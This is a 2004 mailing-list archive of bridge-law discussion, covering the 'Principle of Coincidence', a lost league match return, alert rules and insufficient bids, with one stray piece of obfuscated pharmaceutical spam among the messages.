that such call or play is not based on a partnership understanding." ##### [mlf] It seems that some ACBL administrator dreamed this idea up, as it didn't come from the ACBLLC or the BoD.. And yet it still can be found on the ACBL website, in the "Active Ethics" pamphlet: ##### The "PRINCIPLE OF COINCIDENCE" is a tool for gauging whether or not a partnership has done its best to comply with the principle of full-disclosure. The convention card is expected to reflect partnership agreements and should also note partnership style wherever possible. For example, a partnership that lists a 15 to 17 point notrump range and tends to open most 14 point hands in third seat with 1NT has mismarked the convention card. You might indicate the range as (14)15-17 on the card. There is no infraction just because an opponent makes a call which does not match the stated conventional agreements provided his partner has no awareness of the possibility of deviation and does not allow for a possible deviation. However, whenever his partner's response is also unexpected (and successful), there is evidence that such an awareness may exist. The following combination of overbid and underbid is an example of the PRINCIPLE OF COINCIDENCE. East, whose card is marked 15-17, opens one notrump with a balanced 13. West with 10 points decides to bid only 2NT and eight tricks are the maximum available. This "lucky coincidence" is the result of two improbable actions which, in combination, "work". The PRINCIPLE OF COINCIDENCE defines this sequence to be an infraction of ACBL regulations (full-disclosure). The score on the board should be adjusted whenever the misinformation directly damages the non-offenders (as by placing an extra card or wrong card in declarer's hand allowing an extra trick(s) to be made). Whether or not a score adjustment is made, a procedural penalty for the offenders should be considered. This PRINCIPLE also applies to passing partner's forcing bid when he clearly didn't have the values for a forcing bid, underbidding one's values when partner has psyched, and so on. The PRINCIPLE OF COINCIDENCE "allows" automatic score adjustments when these infractions occur. The acting side must convince the tournament director and/or committee that their actions were normal or that they lack the bridge experience to know that they were making unusual bids. If an opponent or the director feels it is appropriate, a player memo may be submitted to the appropriate body. Please do not be unreasonable in applying this PRINCIPLE. Everyone has different skill levels and card judgment. Most important is that inexperienced players be treated with consideration. They are exercising their best judgment, have no intention of doing anything wrong and DO NOT fall under the jurisdiction of the PRINCIPLE OF COINCIDENCE. ##### Just how ACBL TDs are applying this so-called Principal these days, I don't know. I believe it has indeed been discredited. Richard, I suggest you e-mail rick.beye@acbl.org, as Rick is the ACBL's CTD and should have the answer. Marv Marvin L. French San Diego, California From blml@blakjak.com Wed May 12 23:54:56 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 23:54:56 +0100 Subject: [blml] Principle of Coincidence In-Reply-To: <003601c43871$89b1b040$6401a8c0@san.rr.com> References: <003601c43871$89b1b040$6401a8c0@san.rr.com> Message-ID: <$c6grBXAtqoAFw9r@blakjak.demon.co.uk> Marvin French wrote >From: "richard willey" >> Quick question: >> >> I seem to recall that the Principle of Coincidence has been >deprecated - >> Directors are not supposed to use this any more. >> >> Could someone please fill in the fine details... >> >Edgar Kaplan wrote (*The Bridge World* November 1993), when this was >called the Rule of Coincidence > >##### >In our view, the "Rule of Coincidence" *should* be unfamiliar to >everyone, since there ain't no such animal. The Laws are very clear: "A >player may make any call or play...provided that such call or play is >not based on a partnership understanding." >##### > >[mlf] It seems that some ACBL administrator dreamed this idea up, as it >didn't come from the ACBLLC or the BoD.. And yet it still can be found >on the ACBL website, in the "Active Ethics" pamphlet: When deciding what has happened a TD or AC will make a judgement based on the evidence and his conclusions therefrom. The RoC has some use in this if used sensibly and sparingly. If a player overcalls 2H over 1NT with a spade suit as a psyche and his partner psyches 2S which is the correct contract then they have not necessarily done anything wrong. But a TD's judgement will doubtless be more inclined towards thinking something is wrong than if the psyche of 2S did not coincide with his partner's psyche. Perhaps all that the RoC really says is that when both partners do something strange [psyche, bid out of range, pass with a heavy hand, etc] it will need a lot of explaining when their actions fit each other perfectly. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From gesta@tiscali.co.uk Thu May 13 00:42:09 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Thu, 13 May 2004 00:42:09 +0100 Subject: [blml] Cavendish ruling -- final deal References: <000601c437fd$0bcf3900$20b487d9@4nrw70j> Message-ID: <002301c4387b$479beb30$7eec403e@multivisionoem> Grattan Endicott To: ; ; "grandeval" Sent: Wednesday, May 12, 2004 12:53 PM Subject: Re: [blml] Cavendish ruling -- final deal > Sorry, but I can't fully agree. I've read and reread the > Example 2 part of Law 75, and I do not get the same > flavor about explanation. I know that there are those > who feel otherwise, and want the Law to read that > way, but the words I read say "...in the absence of > evidence to the contrary..." which isn't the same as > what Grattan implies (to me) by his much stronger > wording of "...I would incline to a view that the margin > of doubt has not been cleared up, the Director may > well feel that the evidence is not conclusive..." This > (again to me) put the onus on the player to be "conclusive" > rather than present "evidence to the contrary" that it is not > a Mistaken Bid. Shifting from -- presenting evidence -- > to making that evidence -- conclusive -- is a "Texas > two-step" that was not intended in the promulgated Laws. > No where do I find the requirement in the Laws that the > margin of doubt need to be cleared up. > > Kojak > +=+ Hmmm... interesting..... I read 85A that way, which is what I have in mind when I say 'conclusive, in the Director's opinion'. The Director must decide whether whatever evidence he has satisfies the 85A criterion, as I believe. ~ G ~ +=+ From blml@blakjak.com Wed May 12 23:48:56 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 12 May 2004 23:48:56 +0100 Subject: [blml] A new one In-Reply-To: References: Message-ID: RJH wrote >>>>The combined effect of Law 81C10, Law 82C, and >>>>Law 86A, suggests that both teams should be >>>>awarded the ArtAS of +3 imps for every board >>>>that they played in their match, and that the >>>>ensuing totals should then be converted to >>>>victory points. > >David Stevenson: > >>>We know the losing team scored between 5 and 8 >>>VPs. You would give them approx 23 VPs. The >>>team that gets relegated instead of them will >>>be pleased with this, no? It will feel this is >>>fair, no? >Richard James Hills: > >It is not "fair" that Law requires that a declarer >must make a grand slam missing the ace of trumps, >when a meaningless earlier revoke has been >perpetrated by a defender. But the Law is the Law. I have never agreed with this. It is perfectly fair because it is a penalty for wrong-doing. True, it could be expressed differently, and maybe should be, but it is fair. In the case we are talking about the wrong-doing is by someone else, and we know that justice would be served by a score of between 5 and 8 VPs for the losing team. We are not sure how many. I can see a score of 25-8 being fair: no way can I see that 25-25 is fair. >Rudyard Kipling: > >>If, drunk with sight of power, we loose >>Wild tongues that have not Thee in awe, >>Such boastings as the Gentiles use, >>Or lesser breeds without the Law. Fgbc gelvat gb cergraq gb or Tenggna. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Thu May 13 01:50:19 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 13 May 2004 10:50:19 +1000 Subject: [blml] A new one Message-ID: RJH wrote: [snip] >>The combined effect of Law 81C10, Law 82C, and >>Law 86A, [snip] DWS wrote: [snip] >we know that justice would be served by a score of between >5 and 8 VPs for the losing team. We are not sure how many. > >I can see a score of 25-8 being fair: no way can I see that >25-25 is fair. RJH asks: In a hard case, should a TD rule according to Law, but ignore what is just and fair? Or should a TD nobly rule according to truth, justice and the Stevensonian way of life? If a TD chooses to Stevensonianly ignore the Law, what is the Lawful definition of "just and fair", so that lesser TDs may follow in the footsteps of the noble DWS? Oops. Stevensonian non-Lawful "justice and fairness" is unlikely to be defined in the Scope or the Definitions of the Laws. :-) Best wishes Richard James Hills From richard.hills@immi.gov.au Thu May 13 01:57:29 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 13 May 2004 10:57:29 +1000 Subject: [blml] The Masochism Tango Message-ID: Richard James Hills wrote: [snip] >>Edgar Kaplan asserted that tournament bridge >>would cease to be a meaningful competition, unless >>contestants acted as best as they could to win. >> >>A subsequent letter to Bridge World satirised >>Kaplan's position by postulating this hypothetical: >> >>*You notice an opponent in a team-of-four match >>choking on his food. If he dies, you win the match >>by default.* >> >>In his reply to the above scenario, Kaplan noted >>that while the Bridge Laws were silent on whether to >>let an opponent choke to death, he still deprecated >>such an action. A Canberra colleague replied: >I think the proper action when someone is choking to >death at the bridge table is to call the Director. It >probably rates as an irregularity. > >I support Kaplan on this matter but I have a continuing >strained relationship with one of the older and >respected players at the club which stems from an >incident many years ago when I asked for a remedy from >the Director for a revoke. Richard James Hills asks: Law 9A1 states that it is optional to call attention to an irregularity, "...any player *may* call attention..." If you foolishly reached a grand slam missing the ace of trumps, and if you noticed an opponent perpetrating a meaningless earlier revoke, would you draw the TD's attention to the irregularity, and thus "earn" your ridiculous grand slam? Best wishes RJH From john@asimere.com Thu May 13 02:32:18 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 13 May 2004 02:32:18 +0100 Subject: [blml] A new one In-Reply-To: References: Message-ID: In article , David Stevenson writes > > Two teams play a league match, and post the result in the correct way >by filling in a return and lodging it with the club where they played. >So neither team has done anything wrong. But the club loses the return. > > Now, it is some considerable time later when it becomes apparent that >the return has been lost, and memories have faded. In fact no-one is >sure what the score was. > > I am not sure of the details - not that they matter - so let us say >that on a 30VP scale, the match result was definitely a win to team A, >by 22-8, 23-7, 24-6 or 25-5. > > By the time this comes to light it is possible that team A can win the >league - but it is close. Quite possibly 25-5 will win the league and >22-8 will not. Their opponents are in the relegation zone, with similar >effects. > > So what do you do? Award 25-8. wtp? john > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Thu May 13 02:37:11 2004 From: john@asimere.com (John (MadDog) Probst) Date: Thu, 13 May 2004 02:37:11 +0100 Subject: [blml] Principle of Coincidence In-Reply-To: References: Message-ID: In article , richard willey writes >Quick question: > >I seem to recall that the Principle of Coincidence has been deprecated - >Directors are not supposed to use this any more. > >Could someone please fill in the fine details... xxx Kxxx Kxxx xx Ax xxx Qxxx Jxxx 1D 1H 1S 2C, all pass should explain it. I adjust this one btw :) -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From siegmund@mosquitonet.com Thu May 13 02:17:11 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Wed, 12 May 2004 17:17:11 -0800 (AKDT) Subject: [blml] Principle of Coincidence In-Reply-To: <$c6grBXAtqoAFw9r@blakjak.demon.co.uk> Message-ID: On Wed, 12 May 2004, David Stevenson wrote: > Marvin French wrote > >From: "richard willey" > >> Quick question: > >> > >> I seem to recall that the Principle of Coincidence has been > >deprecated - > > Perhaps all that the RoC really says is that when both partners do > something strange [psyche, bid out of range, pass with a heavy hand, > etc] it will need a lot of explaining when their actions fit each other > perfectly. It remains true that a gross overbid by one partner and an underbid by the other on the same deal will tend to open an investigation into a possible undisclosed agreement. My impression (and this is fuzzy, because I was just starting to read BLML at the time and only directed club games) is that, at one time, ACBL directors were advised that such an overbid+underbid combination was grounds for an *automatic* adjustment - bad advice withdrawn sometime in the mid-1990s. Immediately on my joining BLML (1996 or 1997) I recall reading warnings against giving such rulings but I had never received instruction to give them myself. GRB From blml@blakjak.com Thu May 13 03:12:48 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 13 May 2004 03:12:48 +0100 Subject: [blml] A new one In-Reply-To: References: Message-ID: RJH wrote >RJH wrote: > >[snip] > >>>The combined effect of Law 81C10, Law 82C, and >>>Law 86A, > >[snip] > >DWS wrote: > >[snip] > >>we know that justice would be served by a score of between >>5 and 8 VPs for the losing team. We are not sure how many. >> >>I can see a score of 25-8 being fair: no way can I see that >>25-25 is fair. > >RJH asks: > >In a hard case, should a TD rule according to Law, but >ignore what is just and fair? > >Or should a TD nobly rule according to truth, justice and the >Stevensonian way of life? > >If a TD chooses to Stevensonianly ignore the Law, what is the >Lawful definition of "just and fair", so that lesser TDs may >follow in the footsteps of the noble DWS? > >Oops. Stevensonian non-Lawful "justice and fairness" is >unlikely to be defined in the Scope or the Definitions of the >Laws. > >:-) It had never occurred to me that 25-25 was per the Law book. I'll just have a look. ....... Chat amongst yourselves. ....... Nope, not in my law book. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu May 13 03:16:51 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 13 May 2004 03:16:51 +0100 Subject: [blml] The Masochism Tango In-Reply-To: References: Message-ID: RJH wrote >Richard James Hills wrote: > >[snip] > >>>Edgar Kaplan asserted that tournament bridge >>>would cease to be a meaningful competition, unless >>>contestants acted as best as they could to win. >>> >>>A subsequent letter to Bridge World satirised >>>Kaplan's position by postulating this hypothetical: >>> >>>*You notice an opponent in a team-of-four match >>>choking on his food. If he dies, you win the match >>>by default.* >>> >>>In his reply to the above scenario, Kaplan noted >>>that while the Bridge Laws were silent on whether to >>>let an opponent choke to death, he still deprecated >>>such an action. > >A Canberra colleague replied: > >>I think the proper action when someone is choking to >>death at the bridge table is to call the Director. It >>probably rates as an irregularity. At the Spring 4s the TDs could not decide whether killing a TD should incur a 3 imp fine, or merely a warning on the first occasion. >>I support Kaplan on this matter but I have a continuing >>strained relationship with one of the older and >>respected players at the club which stems from an >>incident many years ago when I asked for a remedy from >>the Director for a revoke. > >Richard James Hills asks: > >Law 9A1 states that it is optional to call attention to >an irregularity, "...any player *may* call attention..." > >If you foolishly reached a grand slam missing the ace of >trumps, and if you noticed an opponent perpetrating a >meaningless earlier revoke, would you draw the TD's >attention to the irregularity, and thus "earn" your >ridiculous grand slam? Would I? Yes. But I would not *say* I had earned it, and there is no need to use such unnecessary emotive words. It is just legal, ethical, and what my opponent deserved! -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Thu May 13 03:58:29 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 13 May 2004 12:58:29 +1000 Subject: [blml] A new one Message-ID: >>:-) >It had never occurred to me that 25-25 was per the Law book. I'll >just have a look. > >....... > >Chat amongst yourselves. > >....... > >Nope, not in my law book. > >-- >David Stevenson My law book -> Law 12B, "The Director may not award an adjusted score on the ground that the penalty provided in these Laws is either unduly severe or advantageous to either side." Law 12C1, "...average plus (at least 60% in pairs) to a contestant in no way at fault (see Law 86 for team play or Law 88 for pairs play). The scores awarded to the two sides need not balance." :-) :-) :-) Best wishes R:-)chard James H:-)lls From richard.hills@immi.gov.au Thu May 13 06:11:07 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 13 May 2004 15:11:07 +1000 Subject: [blml] Cavendish ruling -- final deal Message-ID: Eric Landau asked: [snip] >>But what if you know, based on your partnership's >>agreements about analogous situations, that it >>could only be one of a small number of >>possibilities, some of which are alertable? >>Should you alert? TFLB doesn't cover this; we >>must look to the alert procedures in use in the >>event. But I've yet to see a set of alerting >>rules that addressed this question directly. >> >>IM ACBL-centric HO, this position should require >>an alert, but currently does not. Has any >>jurisdiction offered any official pronouncement >>on this? The ABF has very nearly offered some official pronouncements on this: ABF Alert reg 7.7 -> >If you know that partner's call is alertable, but >have forgotten its meaning, you should nevertheless >alert. If asked, explain that you have forgotten >the meaning. The Director should be called >immediately. His normal action would be to send >you away from the table and have your partner >explain the call. ABF Alert reg 9.2 -> >If there is no partnership agreement as to the >meaning of a call, you must say so (by saying >"Undiscussed", for example), and not attempt to >offer a possible explanation. When, however, as a >result of partnership experience and style, you are >able to form a cogent view of the likely meaning of >an undiscussed call, that information shall be >given to opponents. Where a call is undiscussed, >you should not offer statements such as "I take it >to mean..." or "I'm treating it as...". Such a >response is improper as it gives unauthorised >information to partner. While 7.7 and 9.2 do not directly answer Eric's question, in my opinion a reasonable interpretation of 7.7 and 9.2 is that if a call made by your partner is possibly an implicitly agreed alertable call, then ABF opponents should be alerted to the possibility of the existence of your alertable implicit partnership agreement. Best wishes Richard James Hills From Ray Crowe" This is a multi-part message in MIME format. ------=_NextPart_000_004C_01C43816.82B432A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Would the panel consider Law 27B to benefit players if it was amended to = read--- "If an insufficient bid made in rotation is not accepted, it must be = corrected by the substitution of either a sufficient bid or a pass, but = the offender cannot substitute a double." Obviously this is an intention of the Law but most players do not = differentiate between a bid and a call, when this law is read out to = them. Law 27B3 doesn't address the problem until the offender either asks = about,or attempts to substitute a double. Hardly fair when it could have = been prevented by the above amendment. Ray. ------=_NextPart_000_004C_01C43816.82B432A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Would the panel consider Law 27B to = benefit players=20 if it was amended to read---
 
"If an insufficient bid made in = rotation is not=20 accepted, it must be corrected by the substitution of either a = sufficient bid or=20 a pass, but the offender cannot substitute a double."
 
Obviously this is an intention of = the Law but=20 most players do not differentiate between a bid and a call, when this=20 law is read out to them.
 
Law 27B3 doesn't address the problem = until the=20 offender either asks about,or attempts to substitute a double. Hardly = fair when=20 it could have been prevented by the above amendment.
 
Ray.
 
------=_NextPart_000_004C_01C43816.82B432A0-- From hermandw@hdw.be Thu May 13 08:36:57 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 13 May 2004 09:36:57 +0200 Subject: [blml] A new one In-Reply-To: <000001c43835$c4ccba30$6900a8c0@WINXP> References: <000001c43835$c4ccba30$6900a8c0@WINXP> Message-ID: <40A32599.3080800@hdw.be> Well Sven, Sven Pran wrote: >>Gordon Rainsford >> >>>When we play league all matches in the same round are usually played >>>simultaneously in the same arena and with the same boards. (That is >>>the only >>>possible way to make all matches comparable as to the number of IMPs >>>"available"). All returns shall then be handed in, verified and signed >>>by >>>both teams, usually within ten minutes after scheduled end of each >>>match >> >>Our leagues don't work like that at all. We get a list of teams to >>play, a deadline for completion of the league, and we go and arrange >>matches with the other captains at our convenience. The results are >>usually converted into VPs, to reduce the IMP effect. > > > So I understand now. > > And you have absolutely no "protection" against an unbalanced league in that > one match can include many boards with large swing potentials while another > hardly offers more than a 16-14 VP victory even to a top team against a > bottom team because of many "flat" boards. And please don't argue that this > evens out over say 32 boards, it doesn't. > Yes it does. Belgian leagues have been run like this for nigh-on 50 years now (with hand-dealt boards in one-to-one matches) and no-one has ever complained that his season of 448 boards was more or less flat than some other team's. In fact, when we started a premier league, which took over the principle of playing in one local - and with duplicated boards - of the old first division, we had a discussion about whether we should let the new first division play with duplicated boards also. We asked the players and a huge majority told us not to bother. Of course contrary to England we do play a fixed schedule with only limited freedom to play a match before (but not after) the scheduled date. > I am shocked if this is supposed to be a serious league. > > (We use a similar arrangement for the initial "knock out" rounds in the > Norwegian championship for club teams but then of course it does not matter > whether you are knocked out with one or hundreds of IMPs in a match). > > Regards Sven > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From svenpran@online.no Thu May 13 09:22:19 2004 From: svenpran@online.no (Sven Pran) Date: Thu, 13 May 2004 10:22:19 +0200 Subject: [blml] A new one In-Reply-To: <40A32599.3080800@hdw.be> Message-ID: <000201c438c3$6846dff0$6900a8c0@WINXP> > Herman De Wael > Sven Pran wrote: ........... > > And you have absolutely no "protection" against an=20 > > unbalanced league in that one match can include many > > boards with large swing potentials while another > > hardly offers more than a 16-14 VP victory even to a > > top team against a bottom team because of many "flat" > > boards. And please don't argue that this evens out=20 > > over say 32 boards, it doesn't. > > >=20 > Yes it does. Belgian leagues have been run like this for nigh-on 50 > years now (with hand-dealt boards in one-to-one matches) and no-one > has ever complained that his season of 448 boards was more or less > flat than some other team's. I don't think "no-one has ever complained" can be taken as corroborating evidence. The fact is that when monitoring several league matches with up to = thirty teams of four playing the same 32 boards in each round simultaneously I = have noticed rounds where the results varied from 15-15 to 25-0 and other = rounds where the greatest swing was something like 18-12 or maybe even less. This is too much of coincidence for me to accept that different rounds = of 32 boards offer equal potentials.=20 It is true that you could expect the potential to even out over 448 = boards; the problem is that with these 448 boards being split over several = matches you should expect "flat" boards to be spread across all matches for some sets of 448 boards and concentrated within one or a few matches for = other sets. The number of matches and the number of boards within each match = is insufficient even when the total number of boards could be sufficient. Regards Sven From ehaa@starpower.net Wed May 12 13:43:35 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 12 May 2004 08:43:35 -0400 Subject: [blml] Cavendish ruling -- final deal In-Reply-To: Message-ID: <5.2.0.9.0.20040512082238.00a12110@pop.starpower.net> At 03:09 AM 5/12/04, richard.hills wrote: >Ed has fallen into Richard's trap. The footnote instructs us on how to >differentiate between two cases, misbid or explanation, but L75 >requires a determination from among three possibilities, misbid, >misexplanation, or no infraction. > >Eric Landau > >* * * > >I do not quite follow what you are intending to say. In >my opinion, there are only two possibilities, since the >current Law 75 footnote states that a misbid is not an >infraction. > >Of course, there are indications that the ACBL and >Grattan Endicott desire to change the Laws, so that in >2006 some misbids will then become infractions. Richard is right, of course; I should have written "no agreement" rather than "no infraction". The critical point is that the thread case was not about an incorrect explanation, but rather about a failure to alert. The footnote distinguishes between the two possibilities that exist when an explanation fails to match the intended meaning of partner's call; either the call violated the agreement, or the explanation of the agreement was incorrect. We do not refer to the footnote unless we determine that the explanation failed to match the intended meaning. The trap is to assume that the lack of an alert must mean that the partnership has a non-alertable agreement about the meaning of the call, when in fact they may, perfectly legally, have no agreement at all, in which case the footnote doesn't apply. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From lopatastandard@bravenet.com Fri May 7 10:29:16 2004 From: lopatastandard@bravenet.com (Pbe) Date: Fri, 07 May 2004 17:29:16 +0800 Subject: [blml] Get a piece of the rock distraught Message-ID: Every man must have a s6x! MUST!!!
But some can't...=(

C-i@l!s helps to have an 6r6ction when you need it
within 36 hours. Get a piece of the rock!

Everything you need is to know more about it From cibor@poczta.fm Thu May 13 10:32:46 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Thu, 13 May 2004 03:32:46 -0600 Subject: [blml] 2 cases References: <000001c43095$50cd2ae0$6900a8c0@WINXP> Message-ID: <00c401c438cd$4326e490$6a51fea9@ams.com> ----- Original Message ----- From: "David Stevenson" To: Sent: Wednesday, May 12, 2004 5:35 AM Subject: Re: [blml] 2 cases > Karel wrote > > > >Law 27B2 (Insufficient bid not accepted) > >"If either the insufficient bid or the lowest sufficient bid in the same > >denomination may have been conventional or if the bid is corrected by any > >other sufficient bid or by a pass, (penalty) the offender's partner must > >pass whenever it is his turn to call ....." > > > >+++ just to clear this up .. ".. MAY have been conventional ... " > > > >In the case sited, 4C may have been Gerber, but maybe not. How exactly is > >one supposed to rule ?? If you ask the OS side they will naturally deny 4C > >is gerber. > > Why? Most bridge players do not lie to Directors. I The key word here is "most". In this style of ruling those who do get a tremendous edge. > If it is Gerber > why would they not say so? O sancta simplicitas... Konrad Ciborowski Krenver, Polorado From svenpran@online.no Thu May 13 10:43:03 2004 From: svenpran@online.no (Sven Pran) Date: Thu, 13 May 2004 11:43:03 +0200 Subject: [blml] 2 cases In-Reply-To: <00c401c438cd$4326e490$6a51fea9@ams.com> Message-ID: <000301c438ce$b0915730$6900a8c0@WINXP> > Konrad Ciborowski .......... > > >In the case sited, 4C may have been Gerber, but maybe not. How = exactly > is > > >one supposed to rule ?? If you ask the OS side they will naturally > deny > 4C > > >is gerber. > > > > Why? Most bridge players do not lie to Directors. I >=20 > The key word here is "most". In this style of ruling > those who do get a tremendous edge. Are you talking theory or experience? My own experience corroborates David's view. Sven From ehaa@starpower.net Wed May 12 13:19:11 2004 From: ehaa@starpower.net (Eric Landau) Date: Wed, 12 May 2004 08:19:11 -0400 Subject: [blml] Long considerations before final pass: Is this an infraction? In-Reply-To: Message-ID: <5.2.0.9.0.20040512081442.009eed20@pop.starpower.net> At 09:52 PM 5/11/04, richard.hills wrote: >I am a notorious non-thinker at the bridge table. >My philosophy is that it is too humiliating to >waste a quarter-hour thinking time, and then still >produce an irrational call or play. It is much >more fun to produce irrational calls or plays with >celerity and panache. What's more, in my experience, irrational calls (sometimes even irrational plays) made with celerity and panache, rather than with the air of one who obviously has a problem, are far less likely to lead to disastrous results. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From jaapvanderneut@hotmail.com Thu May 13 11:35:25 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Thu, 13 May 2004 12:35:25 +0200 Subject: [blml] 2 cases References: <000301c438ce$b0915730$6900a8c0@WINXP> Message-ID: Are you talking theory or experience? My own experience corroborates David's view. Of course most players tell the truth. Still Konrad is 100% right. You can not base a legal system on the concept that one has to provide evidence against onself. Apart from practical problems (some people are less honest) it is also against all principles of western legal culture. Of course people are unlikely to lie about (rather) easy to check black-white questions like 'is 4C Gerber'. But in cases where the truth is more obscure (and it often is in this silly game of ours) it is ridiculous to assume that people don't have a tendency to protect their position, specially when no outright 'lying' is involved. Jaap ----- Original Message ----- From: "Sven Pran" To: "blml" Sent: Thursday, May 13, 2004 11:43 AM Subject: RE: [blml] 2 cases > Konrad Ciborowski ......... > > >In the case sited, 4C may have been Gerber, but maybe not. How exactly > is > > >one supposed to rule ?? If you ask the OS side they will naturally > deny > 4C > > >is gerber. > > > > Why? Most bridge players do not lie to Directors. I > > The key word here is "most". In this style of ruling > those who do get a tremendous edge. Are you talking theory or experience? My own experience corroborates David's view. Sven _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From jaapvanderneut@hotmail.com Thu May 13 11:58:52 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Thu, 13 May 2004 12:58:52 +0200 Subject: [blml] A new one References: Message-ID: RJH, DWS, and others, 1. What makes you think the TD has anything to do with setting a lost result. I would leave this to the SO. Let whoever is technically/politically responsible for this joke sort out the mess himself. If the difference between 22-8 and 25-5 has real consequences it will be appealled anyway to the max and for me this is a political issue if it is not covered in a meaningful way in the regs of the event. 2. Those cited laws are about results on a board. To apply them to all boards of a match seems silly to me. 3. It is a wonderful argument that the players are not at fault so they get the best possible result. But the other players who will suffer from 25-8 or 25-25 rulings also are not at fault. 4. If they cannot remember it is a rather sure bet it was not 25. This you will remember as a max win. I can imagine remembering something as a big win and forgetting over time whether it was 21,22,23,24 or whatever. 5. If 24 is enough and not 23 even real honest people have a tendency to remember 24 ratner than 23 (assuming the reality has been forgotten). What would I rule (not as TD but as SO): - 25-8 is an option (max result but what if someone claims it might also be 21-9 .....) - 23-7 (average of 22,23,24 assuming it is not 25) - 24-8 (a combination of the two above) - a rematch witch actual teams - ruling the result in a way there will be a playoff for 1st/nth place (if that is the issue) Or whatever is least damaging for the SO which is impossible to judge not being the SO. Jaap ----- Original Message ----- From: To: Sent: Thursday, May 13, 2004 4:58 AM Subject: Re: [blml] A new one > > > > > >>:-) > > >It had never occurred to me that 25-25 was per the Law book. I'll > >just have a look. > > > >....... > > > >Chat amongst yourselves. > > > >....... > > > >Nope, not in my law book. > > > >-- > >David Stevenson > > My law book -> > > Law 12B, "The Director may not award an adjusted score on the > ground that the penalty provided in these Laws is either unduly > severe or advantageous to either side." > > Law 12C1, "...average plus (at least 60% in pairs) to a contestant > in no way at fault (see Law 86 for team play or Law 88 for pairs > play). The scores awarded to the two sides need not balance." > > :-) :-) :-) > > Best wishes > > R:-)chard James H:-)lls > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From hermandw@hdw.be Thu May 13 12:24:58 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 13 May 2004 13:24:58 +0200 Subject: [blml] A new one In-Reply-To: <000201c438c3$6846dff0$6900a8c0@WINXP> References: <000201c438c3$6846dff0$6900a8c0@WINXP> Message-ID: <40A35B0A.4030804@hdw.be> Sven Pran wrote: >>Herman De Wael >>Sven Pran wrote: > > ........... > >>>And you have absolutely no "protection" against an >>>unbalanced league in that one match can include many >>>boards with large swing potentials while another >>>hardly offers more than a 16-14 VP victory even to a >>>top team against a bottom team because of many "flat" >>>boards. And please don't argue that this evens out >>>over say 32 boards, it doesn't. >>> >> >>Yes it does. Belgian leagues have been run like this for nigh-on 50 >>years now (with hand-dealt boards in one-to-one matches) and no-one >>has ever complained that his season of 448 boards was more or less >>flat than some other team's. > > > I don't think "no-one has ever complained" can be taken as corroborating > evidence. > Yes it can. I have often heard, in swiss tournaments of a few rounds (typically 40-60 boards in total), players complain that the boards were too flat for them. I have never heard, in a team match of 32 boards, players complain about the same thing. They complain about bad luck and such, but never about the fact that although they were clearly better than their opponents, that they were unable to score the full 25VP because of flat boards. And this is about just one match, let alone a competition of 14 matches. > The fact is that when monitoring several league matches with up to thirty > teams of four playing the same 32 boards in each round simultaneously I have > noticed rounds where the results varied from 15-15 to 25-0 and other rounds > where the greatest swing was something like 18-12 or maybe even less. > I have recently seen the following in our "Cup of Flanders" (64 teams, matches of 6 boards, duplicated): one match scored 0-0, another one 15-15 (IMPs) and a third one 25-25. With several 25-0 IMPs and even a few 25-0 VP (40-0 and more). From which I conclude that big scores are more a factor of teams playing different systems versus them playing the same systems. (if a strong club team play a natural team, chances are bigger for 15-15 IMPS than 0-0, but both score 15-15 VP) > This is too much of coincidence for me to accept that different rounds of 32 > boards offer equal potentials. > > It is true that you could expect the potential to even out over 448 boards; > the problem is that with these 448 boards being split over several matches > you should expect "flat" boards to be spread across all matches for some > sets of 448 boards and concentrated within one or a few matches for other > sets. The number of matches and the number of boards within each match is > insufficient even when the total number of boards could be sufficient. > Theoretically this may be true, 